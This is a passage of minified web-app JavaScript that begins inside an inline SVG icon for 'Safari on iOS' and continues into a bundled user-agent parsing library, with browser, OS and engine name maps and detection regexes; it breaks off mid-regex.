3.926a.42.42 0 1 0 .68.495l2.857-3.926a.42.42 0 0 0-.326-.669zm-33.852 1.783a.42.42 0 0 0-.335.702l1.367 1.518a.42.42 0 1 0 .626-.563l-1.367-1.518a.42.42 0 0 0-.29-.14zm35.976.003a.421.421 0 0 0-.291.139l-1.366 1.517a.42.42 0 1 0 .625.564l1.367-1.518a.42.42 0 0 0-.335-.702zm-38.037 1.977a.42.42 0 0 0-.26.733l3.609 3.249a.42.42 0 1 0 .563-.626l-3.608-3.248a.42.42 0 0 0-.304-.108zm40.108.014a.419.419 0 0 0-.304.108l-3.61 3.245a.42.42 0 1 0 .563.626l3.61-3.245a.42.42 0 0 0-.259-.734zm-41.822 2.19a.42.42 0 0 0-.262.762l1.652 1.2a.42.42 0 1 0 .495-.681l-1.652-1.2a.42.42 0 0 0-.233-.081zm43.535.015a.421.421 0 0 0-.233.08l-1.653 1.2a.42.42 0 1 0 .494.681l1.653-1.2a.42.42 0 0 0-.261-.76zm-45.137 2.336a.42.42 0 0 0-.18.785l4.204 2.427a.42.42 0 1 0 .42-.729l-4.204-2.427a.42.42 0 0 0-.24-.056zm46.727 0a.417.417 0 0 0-.24.056l-4.204 2.427a.42.42 0 1 0 .42.73l4.205-2.428a.42.42 0 0 0-.18-.785zm-47.938 2.506a.42.42 0 0 0-.18.805l1.865.833a.42.42 0 1 0 .343-.77l-1.865-.831a.42.42 0 0 0-.163-.037zm49.158.017a.42.42 0 0 0-.164.037l-1.866.83a.42.42 0 1 0 .343.77l1.866-.831a.42.42 0 0 0-.18-.806zm-50.238 2.602a.42.42 0 0 0-.094.82l4.616 1.504a.42.42 0 1 0 .26-.8l-4.615-1.504a.421.421 0 0 0-.167-.02zm51.315.018a.408.408 0 0 0-.166.02l-4.618 1.5a.42.42 0 1 0 .26.801l4.618-1.5a.42.42 0 0 0-.094-.82zm-51.987 2.732a.42.42 0 0 0-.09.833l1.997.424a.42.42 0 1 0 .175-.823l-1.997-.425a.413.413 0 0 0-.085-.009zm52.654.004a.518.518 0 0 0-.084.009l-1.998.424a.42.42 0 1 0 .175.823l1.997-.424a.42.42 0 0 0-.09-.833zm-53.163 2.761a.42.42 0 0 0-.003.838l4.828.51a.42.42 0 1 0 .088-.837l-4.828-.51a.432.432 0 0 0-.085 0zm53.676.037a.386.386 0 0 0-.086 0l-4.828.504a.42.42 0 1 0 .087.837l4.829-.504a.42.42 0 0 0-.002-.837zm-53.758 2.794a.42.42 0 1 0 0 .842h2.042a.42.42 0 1 0 0-.842zm51.793 0a.42.42 0 1 0 0 .842h2.042a.42.42 0 1 0 0-.842zm-46.803 2.295a.384.384 0 0 0-.086 0l-4.829.504a.42.42 0 1 0 .088.838l4.829-.504a.42.42 0 0 0-.002-.838zm43.853.03a.42.42 0 0 0-.003.838l4.828.51a.42.42 0 1 0 .089-.837l-4.829-.51a.434.434 0 0 0-.085-.001zm-46.26 2.844a.43.43 0 0 0-.085.009l-1.998.424a.42.42 0 1 0 .175.823l1.998-.424a.42.42 0 0 0-.09-.833zm48.669.004a.42.42 0 0 0-.09.833l1.998.424a.42.42 0 1 0 .175-.824l-1.998-.424a.413.413 0 0 0-.085-.01zm-45.305 1.657a.408.408 0 0 0-.167.02l-4.617 1.5a.42.42 0 1 0 .26.801l4.618-1.5a.42.42 0 0 0-.094-.82zm41.937.015a.42.42 0 0 0-.094.82l4.616 1.504a.42.42 0 1 0 .26-.8l-4.616-1.504a.421.421 0 0 0-.166-.02zm-43.7 3.273a.42.42 0 0 0-.163.036l-1.865.831a.42.42 0 1 0 .342.769l1.866-.83a.42.42 0 0 0-.18-.806zm45.46.016a.42.42 0 0 0-.18.805l1.865.832a.42.42 0 1 0 .343-.768l-1.865-.833a.42.42 0 0 0-.163-.036zm-41.827.912a.417.417 0 0 0-.24.056l-4.204 2.427a.42.42 0 1 0 .42.73l4.205-2.428a.42.42 0 0 0-.18-.785zm38.2 0a.42.42 0 0 0-.181.785l4.205 2.427a.42.42 0 1 0 .421-.729l-4.204-2.427a.42.42 0 0 0-.24-.056zm-39.248 3.562a.421.421 0 0 0-.233.08l-1.653 1.2a.42.42 0 1 0 .494.682l1.653-1.2a.42.42 0 0 0-.261-.762zm40.287.015a.42.42 0 0 0-.262.762l1.653 1.2a.42.42 0 1 0 .495-.681l-1.653-1.2a.42.42 0 0 0-.233-.081zm-36.544.145a.418.418 0 0 0-.303.108l-3.611 3.245a.42.42 0 1 0 .563.626l3.61-3.245a.42.42 0 0 0-.259-.734zm32.8.011a.421.421 0 0 0-.259.734l3.608 3.248a.42.42 0 1 0 .564-.625l-3.609-3.249a.42.42 0 0 0-.303-.107zm-29.374 3.084a.42.42 0 0 0-.355.173l-2.857 3.927a.42.42 0 1 0 .681.495l2.856-3.926a.42.42 0 0 0-.325-.669zm25.936.018a.421.421 0 0 0-.327.668l2.851 3.93a.42.42 0 1 0 .682-.494l-2.851-3.93a.42.42 0 0 0-.355-.174zm-29.623.606a.421.421 0 0 0-.291.14l-1.366 1.517a.42.42 0 1 0 .625.563l1.367-1.517a.42.42 0 0 0-.335-.703zm33.33.002a.42.42 0 0 0-.335.702l1.367 1.518a.42.42 0 1 0 .626-.563l-1.367-1.518a.42.42 0 0 0-.29-.139zm-25.655 1.684a.419.419 0 0 0-.392.25l-1.978 4.433a.42.42 0 1 0 .769.343l1.978-4.434a.42.42 0 0 0-.377-.592zm17.956.012a.42.42 0 0 0-.377.592l1.972 4.437a.42.42 0 1 0 .77-.342l-1.973-4.437a.42.42 0 0 0-.392-.25zm-21.432 1.359a.419.419 0 0 0-.335.21l-1.02 1.768a.42.42 0 1 0 .728.421l1.021-1.769a.42.42 0 0 0-.394-.63zm24.935 0a.42.42 0 0 0-.394.63l1.02 1.77a.42.42 0 1 0 .73-.422l-1.021-1.769a.42.42 0 0 0-.335-.21zm-17.055.063a.42.42 0 0 0-.414.334l-1.009 4.749a.42.42 0 1 0 .823.175l1.01-4.75a.42.42 0 0 0-.41-.508zm9.16.003a.42.42 0 0 0-.41.508l1.006 4.75a.42.42 0 1 0 .824-.175l-1.006-4.75a.42.42 0 0 0-.414-.333zm-4.572.48a.42.42 0 0 0-.421.42v4.855a.42.42 0 1 0 .841 0v-4.855a.42.42 0 0 0-.42-.42zm-7.727 1.568a.42.42 0 0 0-.364.29l-.632 1.942a.42.42 0 1 0 .801.26l.631-1.942a.42.42 0 0 0-.436-.55zm15.45 0a.42.42 0 0 0-.437.55l.631 1.943a.42.42 0 1 0 .801-.26l-.631-1.942a.42.42 0 0 0-.364-.29zm-10.366 1.083a.42.42 0 0 0-.377.375l-.213 2.03a.42.42 0 1 0 .837.088l.213-2.03a.42.42 0 0 0-.46-.463zm5.268.002a.42.42 0 0 0-.46.463l.211 2.03a.42.42 0 1 0 .837-.088l-.211-2.03a.42.42 0 0 0-.377-.375z' style='opacity:1%3bfill:%23f4f2f3%3bfill-opacity:1%3bstroke:none%3bstroke-width:.38088897%3bstroke-linecap:round%3bstroke-linejoin:round%3bstroke-miterlimit:4%3bstroke-dasharray:none%3bstroke-dashoffset:0%3bstroke-opacity:1%3bpaint-order:markers stroke fill' transform='translate(-318.886 -180.595)'/%3e%3cpath transform='matrix(.35154 0 0 .35154 -112.095 -20.822)' d='m469.096 100.607-65.51 38.061-41.42 65.207 60.595-44.882z' style='opacity:.40900005%3bfill:black%3bfill-opacity:1%3bstroke:none%3bstroke-width:1.5614785%3bstroke-linecap:round%3bstroke-linejoin:round%3bstroke-miterlimit:4%3bstroke-dasharray:none%3bstroke-dashoffset:0%3bstroke-opacity:1%3bpaint-order:markers stroke fill%3bfilter:url(%23f)'/%3e%3cpath style='opacity:1%3bfill:%23ff5150%3bfill-opacity:1%3bstroke:none%3bstroke-width:1.01970422%3bstroke-linecap:round%3bstroke-linejoin:round%3bstroke-miterlimit:4%3bstroke-dasharray:none%3bstroke-dashoffset:0%3bstroke-opacity:1%3bpaint-order:markers stroke fill' d='m129.839 160.803-23.014-23.015 31.437-8.423z' transform='matrix(.64804 -.3317 -.36122 .63206 10.328 -23.732)'/%3e%3cpath transform='matrix(-.36122 .63206 .64804 -.3317 -20.923 6.11)' d='m129.839 160.803-23.014-23.015 31.437-8.423z' style='opacity:1%3bfill:%23f1f1f1%3bfill-opacity:1%3bstroke:none%3bstroke-width:1.01970422%3bstroke-linecap:round%3bstroke-linejoin:round%3bstroke-miterlimit:4%3bstroke-dasharray:none%3bstroke-dashoffset:0%3bstroke-opacity:1%3bpaint-order:markers stroke fill'/%3e%3cpath style='opacity:.243%3bfill:black%3bstroke:none%3bstroke-width:.09301235px%3bstroke-linecap:butt%3bstroke-linejoin:miter%3bstroke-opacity:1' d='m331.853 231.185 23.416-15.752 16.815-22.665z' transform='translate(-318.886 -180.595)'/%3e%3c/svg%3e"}),"Safari on iOS"]})})]})})}));var zs={exports:{}};!function(e,t){e.exports=function(e){var t={};function n(r){if(t[r])return t[r].exports;var i=t[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)n.d(r,i,function(t){return e[t]}.bind(null,i));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=90)}({17:function(e,t,n){t.__esModule=!0,t.default=void 0;var r=n(18),i=function(){function e(){}return e.getFirstMatch=function(e,t){var n=t.match(e);return n&&n.length>0&&n[1]||""},e.getSecondMatch=function(e,t){var n=t.match(e);return n&&n.length>1&&n[2]||""},e.matchAndReturnConst=function(e,t,n){if(e.test(t))return n},e.getWindowsVersionName=function(e){switch(e){case"NT":return"NT";case"XP":case"NT 5.1":return"XP";case"NT 5.0":return"2000";case"NT 5.2":return"2003";case"NT 6.0":return"Vista";case"NT 6.1":return"7";case"NT 6.2":return"8";case"NT 6.3":return"8.1";case"NT 10.0":return"10";default:return}},e.getMacOSVersionName=function(e){var t=e.split(".").splice(0,2).map((function(e){return parseInt(e,10)||0}));if(t.push(0),10===t[0])switch(t[1]){case 5:return"Leopard";case 6:return"Snow Leopard";case 7:return"Lion";case 8:return"Mountain Lion";case 9:return"Mavericks";case 10:return"Yosemite";case 11:return"El Capitan";case 12:return"Sierra";case 13:return"High Sierra";case 14:return"Mojave";case 15:return"Catalina";default:return}},e.getAndroidVersionName=function(e){var t=e.split(".").splice(0,2).map((function(e){return parseInt(e,10)||0}));if(t.push(0),!(1===t[0]&&t[1]<5))return 1===t[0]&&t[1]<6?"Cupcake":1===t[0]&&t[1]>=6?"Donut":2===t[0]&&t[1]<2?"Eclair":2===t[0]&&2===t[1]?"Froyo":2===t[0]&&t[1]>2?"Gingerbread":3===t[0]?"Honeycomb":4===t[0]&&t[1]<1?"Ice Cream Sandwich":4===t[0]&&t[1]<4?"Jelly Bean":4===t[0]&&t[1]>=4?"KitKat":5===t[0]?"Lollipop":6===t[0]?"Marshmallow":7===t[0]?"Nougat":8===t[0]?"Oreo":9===t[0]?"Pie":void 0},e.getVersionPrecision=function(e){return e.split(".").length},e.compareVersions=function(t,n,r){void 0===r&&(r=!1);var i=e.getVersionPrecision(t),o=e.getVersionPrecision(n),s=Math.max(i,o),a=0,u=e.map([t,n],(function(t){var n=s-e.getVersionPrecision(t),r=t+new Array(n+1).join(".0");return e.map(r.split("."),(function(e){return new Array(20-e.length).join("0")+e})).reverse()}));for(r&&(a=s-Math.min(i,o)),s-=1;s>=a;){if(u[0][s]>u[1][s])return 1;if(u[0][s]===u[1][s]){if(s===a)return 0;s-=1}else if(u[0][s]<u[1][s])return-1}},e.map=function(e,t){var n,r=[];if(Array.prototype.map)return Array.prototype.map.call(e,t);for(n=0;n<e.length;n+=1)r.push(t(e[n]));return r},e.find=function(e,t){var n,r;if(Array.prototype.find)return Array.prototype.find.call(e,t);for(n=0,r=e.length;n<r;n+=1){var i=e[n];if(t(i,n))return i}},e.assign=function(e){for(var t,n,r=e,i=arguments.length,o=new Array(i>1?i-1:0),s=1;s<i;s++)o[s-1]=arguments[s];if(Object.assign)return Object.assign.apply(Object,[e].concat(o));var a=function(){var e=o[t];"object"==typeof e&&null!==e&&Object.keys(e).forEach((function(t){r[t]=e[t]}))};for(t=0,n=o.length;t<n;t+=1)a();return e},e.getBrowserAlias=function(e){return r.BROWSER_ALIASES_MAP[e]},e.getBrowserTypeByAlias=function(e){return r.BROWSER_MAP[e]||""},e}();t.default=i,e.exports=t.default},18:function(e,t,n){t.__esModule=!0,t.ENGINE_MAP=t.OS_MAP=t.PLATFORMS_MAP=t.BROWSER_MAP=t.BROWSER_ALIASES_MAP=void 0,t.BROWSER_ALIASES_MAP={"Amazon Silk":"amazon_silk","Android Browser":"android",Bada:"bada",BlackBerry:"blackberry",Chrome:"chrome",Chromium:"chromium",Electron:"electron",Epiphany:"epiphany",Firefox:"firefox",Focus:"focus",Generic:"generic","Google Search":"google_search",Googlebot:"googlebot","Internet Explorer":"ie","K-Meleon":"k_meleon",Maxthon:"maxthon","Microsoft Edge":"edge","MZ Browser":"mz","NAVER Whale Browser":"naver",Opera:"opera","Opera Coast":"opera_coast",PhantomJS:"phantomjs",Puffin:"puffin",QupZilla:"qupzilla",QQ:"qq",QQLite:"qqlite",Safari:"safari",Sailfish:"sailfish","Samsung Internet for Android":"samsung_internet",SeaMonkey:"seamonkey",Sleipnir:"sleipnir",Swing:"swing",Tizen:"tizen","UC Browser":"uc",Vivaldi:"vivaldi","WebOS Browser":"webos",WeChat:"wechat","Yandex Browser":"yandex",Roku:"roku"},t.BROWSER_MAP={amazon_silk:"Amazon Silk",android:"Android Browser",bada:"Bada",blackberry:"BlackBerry",chrome:"Chrome",chromium:"Chromium",electron:"Electron",epiphany:"Epiphany",firefox:"Firefox",focus:"Focus",generic:"Generic",googlebot:"Googlebot",google_search:"Google Search",ie:"Internet Explorer",k_meleon:"K-Meleon",maxthon:"Maxthon",edge:"Microsoft Edge",mz:"MZ Browser",naver:"NAVER Whale Browser",opera:"Opera",opera_coast:"Opera Coast",phantomjs:"PhantomJS",puffin:"Puffin",qupzilla:"QupZilla",qq:"QQ Browser",qqlite:"QQ Browser Lite",safari:"Safari",sailfish:"Sailfish",samsung_internet:"Samsung Internet for Android",seamonkey:"SeaMonkey",sleipnir:"Sleipnir",swing:"Swing",tizen:"Tizen",uc:"UC Browser",vivaldi:"Vivaldi",webos:"WebOS Browser",wechat:"WeChat",yandex:"Yandex Browser"},t.PLATFORMS_MAP={tablet:"tablet",mobile:"mobile",desktop:"desktop",tv:"tv"},t.OS_MAP={WindowsPhone:"Windows Phone",Windows:"Windows",MacOS:"macOS",iOS:"iOS",Android:"Android",WebOS:"WebOS",BlackBerry:"BlackBerry",Bada:"Bada",Tizen:"Tizen",Linux:"Linux",ChromeOS:"Chrome OS",PlayStation4:"PlayStation 4",Roku:"Roku"},t.ENGINE_MAP={EdgeHTML:"EdgeHTML",Blink:"Blink",Trident:"Trident",Presto:"Presto",Gecko:"Gecko",WebKit:"WebKit"}},90:function(e,t,n){t.__esModule=!0,t.default=void 0;var r,i=(r=n(91))&&r.__esModule?r:{default:r},o=n(18);function s(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var a=function(){function e(){}var t,n,r;return e.getParser=function(e,t){if(void 0===t&&(t=!1),"string"!=typeof e)throw new Error("UserAgent should be a string");return new i.default(e,t)},e.parse=function(e){return new i.default(e).getResult()},t=e,r=[{key:"BROWSER_MAP",get:function(){return o.BROWSER_MAP}},{key:"ENGINE_MAP",get:function(){return o.ENGINE_MAP}},{key:"OS_MAP",get:function(){return o.OS_MAP}},{key:"PLATFORMS_MAP",get:function(){return o.PLATFORMS_MAP}}],(n=null)&&s(t.prototype,n),r&&s(t,r),e}();t.default=a,e.exports=t.default},91:function(e,t,n){t.__esModule=!0,t.default=void 0;var r=u(n(92)),i=u(n(93)),o=u(n(94)),s=u(n(95)),a=u(n(17));function u(e){return e&&e.__esModule?e:{default:e}}var c=function(){function e(e,t){if(void 0===t&&(t=!1),null==e||""===e)throw new Error("UserAgent parameter can't be empty");this._ua=e,this.parsedResult={},!0!==t&&this.parse()}var t=e.prototype;return t.getUA=function(){return this._ua},t.test=function(e){return e.test(this._ua)},t.parseBrowser=function(){var e=this;this.parsedResult.browser={};var t=a.default.find(r.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.browser=t.describe(this.getUA())),this.parsedResult.browser},t.getBrowser=function(){return this.parsedResult.browser?this.parsedResult.browser:this.parseBrowser()},t.getBrowserName=function(e){return e?String(this.getBrowser().name).toLowerCase()||"":this.getBrowser().name||""},t.getBrowserVersion=function(){return this.getBrowser().version},t.getOS=function(){return this.parsedResult.os?this.parsedResult.os:this.parseOS()},t.parseOS=function(){var e=this;this.parsedResult.os={};var t=a.default.find(i.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.os=t.describe(this.getUA())),this.parsedResult.os},t.getOSName=function(e){var t=this.getOS().name;return e?String(t).toLowerCase()||"":t||""},t.getOSVersion=function(){return this.getOS().version},t.getPlatform=function(){return this.parsedResult.platform?this.parsedResult.platform:this.parsePlatform()},t.getPlatformType=function(e){void 0===e&&(e=!1);var t=this.getPlatform().type;return e?String(t).toLowerCase()||"":t||""},t.parsePlatform=function(){var e=this;this.parsedResult.platform={};var t=a.default.find(o.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.platform=t.describe(this.getUA())),this.parsedResult.platform},t.getEngine=function(){return this.parsedResult.engine?this.parsedResult.engine:this.parseEngine()},t.getEngineName=function(e){return e?String(this.getEngine().name).toLowerCase()||"":this.getEngine().name||""},t.parseEngine=function(){var e=this;this.parsedResult.engine={};var t=a.default.find(s.default,(function(t){if("function"==typeof t.test)return t.test(e);if(t.test instanceof Array)return t.test.some((function(t){return e.test(t)}));throw new Error("Browser's test function is not valid")}));return t&&(this.parsedResult.engine=t.describe(this.getUA())),this.parsedResult.engine},t.parse=function(){return this.parseBrowser(),this.parseOS(),this.parsePlatform(),this.parseEngine(),this},t.getResult=function(){return a.default.assign({},this.parsedResult)},t.satisfies=function(e){var t=this,n={},r=0,i={},o=0;if(Object.keys(e).forEach((function(t){var s=e[t];"string"==typeof s?(i[t]=s,o+=1):"object"==typeof s&&(n[t]=s,r+=1)})),r>0){var s=Object.keys(n),u=a.default.find(s,(function(e){return t.isOS(e)}));if(u){var c=this.satisfies(n[u]);if(void 0!==c)return c}var l=a.default.find(s,(function(e){return t.isPlatform(e)}));if(l){var f=this.satisfies(n[l]);if(void 0!==f)return f}}if(o>0){var h=Object.keys(i),d=a.default.find(h,(function(e){return t.isBrowser(e,!0)}));if(void 0!==d)return this.compareVersion(i[d])}},t.isBrowser=function(e,t){void 0===t&&(t=!1);var n=this.getBrowserName().toLowerCase(),r=e.toLowerCase(),i=a.default.getBrowserTypeByAlias(r);return t&&i&&(r=i.toLowerCase()),r===n},t.compareVersion=function(e){var t=[0],n=e,r=!1,i=this.getBrowserVersion();if("string"==typeof i)return">"===e[0]||"<"===e[0]?(n=e.substr(1),"="===e[1]?(r=!0,n=e.substr(2)):t=[],">"===e[0]?t.push(1):t.push(-1)):"="===e[0]?n=e.substr(1):"~"===e[0]&&(r=!0,n=e.substr(1)),t.indexOf(a.default.compareVersions(i,n,r))>-1},t.isOS=function(e){return this.getOSName(!0)===String(e).toLowerCase()},t.isPlatform=function(e){return this.getPlatformType(!0)===String(e).toLowerCase()},t.isEngine=function(e){return this.getEngineName(!0)===String(e).toLowerCase()},t.is=function(e,t){return void 0===t&&(t=!1),this.isBrowser(e,t)||this.isOS(e)||this.isPlatform(e)},t.some=function(e){var t=this;return void 0===e&&(e=[]),e.some((function(e){return t.is(e)}))},e}();t.default=c,e.exports=t.default},92:function(e,t,n){t.__esModule=!0,t.default=void 0;var r,i=(r=n(17))&&r.__esModule?r:{default:r},o=/version\/(\d+(\.?_?\d+)+)/i,s=[{test:[/googlebot/i],describe:function(e){var t={name:"Googlebot"},n=i.default.getFirstMatch(/googlebot\/(\d+(\.\d+))/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/opera/i],describe:function(e){var t={name:"Opera"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:opera)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/opr\/|opios/i],describe:function(e){var t={name:"Opera"},n=i.default.getFirstMatch(/(?:opr|opios)[\s/](\S+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/SamsungBrowser/i],describe:function(e){var t={name:"Samsung Internet for Android"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:SamsungBrowser)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/Whale/i],describe:function(e){var t={name:"NAVER Whale Browser"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:whale)[\s/](\d+(?:\.\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/MZBrowser/i],describe:function(e){var t={name:"MZ Browser"},n=i.default.getFirstMatch(/(?:MZBrowser)[\s/](\d+(?:\.\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/focus/i],describe:function(e){var t={name:"Focus"},n=i.default.getFirstMatch(/(?:focus)[\s/](\d+(?:\.\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/swing/i],describe:function(e){var t={name:"Swing"},n=i.default.getFirstMatch(/(?:swing)[\s/](\d+(?:\.\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/coast/i],describe:function(e){var t={name:"Opera Coast"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:coast)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/opt\/\d+(?:.?_?\d+)+/i],describe:function(e){var t={name:"Opera Touch"},n=i.default.getFirstMatch(/(?:opt)[\s/](\d+(\.?_?\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/yabrowser/i],describe:function(e){var t={name:"Yandex Browser"},n=i.default.getFirstMatch(/(?:yabrowser)[\s/](\d+(\.?_?\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/ucbrowser/i],describe:function(e){var t={name:"UC Browser"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:ucbrowser)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/Maxthon|mxios/i],describe:function(e){var t={name:"Maxthon"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:Maxthon|mxios)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/epiphany/i],describe:function(e){var t={name:"Epiphany"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:epiphany)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/puffin/i],describe:function(e){var t={name:"Puffin"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:puffin)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/sleipnir/i],describe:function(e){var t={name:"Sleipnir"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:sleipnir)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/k-meleon/i],describe:function(e){var t={name:"K-Meleon"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/(?:k-meleon)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/micromessenger/i],describe:function(e){var t={name:"WeChat"},n=i.default.getFirstMatch(/(?:micromessenger)[\s/](\d+(\.?_?\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/qqbrowser/i],describe:function(e){var t={name:/qqbrowserlite/i.test(e)?"QQ Browser Lite":"QQ Browser"},n=i.default.getFirstMatch(/(?:qqbrowserlite|qqbrowser)[/](\d+(\.?_?\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/msie|trident/i],describe:function(e){var t={name:"Internet Explorer"},n=i.default.getFirstMatch(/(?:msie |rv:)(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/\sedg\//i],describe:function(e){var t={name:"Microsoft Edge"},n=i.default.getFirstMatch(/\sedg\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/edg([ea]|ios)/i],describe:function(e){var t={name:"Microsoft Edge"},n=i.default.getSecondMatch(/edg([ea]|ios)\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/vivaldi/i],describe:function(e){var t={name:"Vivaldi"},n=i.default.getFirstMatch(/vivaldi\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/seamonkey/i],describe:function(e){var t={name:"SeaMonkey"},n=i.default.getFirstMatch(/seamonkey\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/sailfish/i],describe:function(e){var t={name:"Sailfish"},n=i.default.getFirstMatch(/sailfish\s?browser\/(\d+(\.\d+)?)/i,e);return n&&(t.version=n),t}},{test:[/silk/i],describe:function(e){var t={name:"Amazon Silk"},n=i.default.getFirstMatch(/silk\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/phantom/i],describe:function(e){var t={name:"PhantomJS"},n=i.default.getFirstMatch(/phantomjs\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/slimerjs/i],describe:function(e){var t={name:"SlimerJS"},n=i.default.getFirstMatch(/slimerjs\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/blackberry|\bbb\d+/i,/rim\stablet/i],describe:function(e){var t={name:"BlackBerry"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/blackberry[\d]+\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/(web|hpw)[o0]s/i],describe:function(e){var t={name:"WebOS Browser"},n=i.default.getFirstMatch(o,e)||i.default.getFirstMatch(/w(?:eb)?[o0]sbrowser\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/bada/i],describe:function(e){var t={name:"Bada"},n=i.default.getFirstMatch(/dolfin\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/tizen/i],describe:function(e){var t={name:"Tizen"},n=i.default.getFirstMatch(/(?:tizen\s?)?browser\/(\d+(\.?_?\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/qupzilla/i],describe:function(e){var t={name:"QupZilla"},n=i.default.getFirstMatch(/(?:qupzilla)[\s/](\d+(\.?_?\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/firefox|iceweasel|fxios/i],describe:function(e){var t={name:"Firefox"},n=i.default.getFirstMatch(/(?:firefox|iceweasel|fxios)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/electron/i],describe:function(e){var t={name:"Electron"},n=i.default.getFirstMatch(/(?:electron)\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/MiuiBrowser/i],describe:function(e){var t={name:"Miui"},n=i.default.getFirstMatch(/(?:MiuiBrowser)[\s/](\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/chromium/i],describe:function(e){var t={name:"Chromium"},n=i.default.getFirstMatch(/(?:chromium)[\s/](\d+(\.?_?\d+)+)/i,e)||i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/chrome|crios|crmo/i],describe:function(e){var t={name:"Chrome"},n=i.default.getFirstMatch(/(?:chrome|crios|crmo)\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:[/GSA/i],describe:function(e){var t={name:"Google Search"},n=i.default.getFirstMatch(/(?:GSA)\/(\d+(\.?_?\d+)+)/i,e);return n&&(t.version=n),t}},{test:function(e){var t=!e.test(/like android/i),n=e.test(/android/i);return t&&n},describe:function(e){var t={name:"Android Browser"},n=i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/playstation 4/i],describe:function(e){var t={name:"PlayStation 4"},n=i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/safari|applewebkit/i],describe:function(e){var t={name:"Safari"},n=i.default.getFirstMatch(o,e);return n&&(t.version=n),t}},{test:[/.*/i],describe:function(e){var t=-1!==e.search("\\(")?/^(.*)\/(.*)[ \t]\((.*)/:/^(.*)\/(.*) 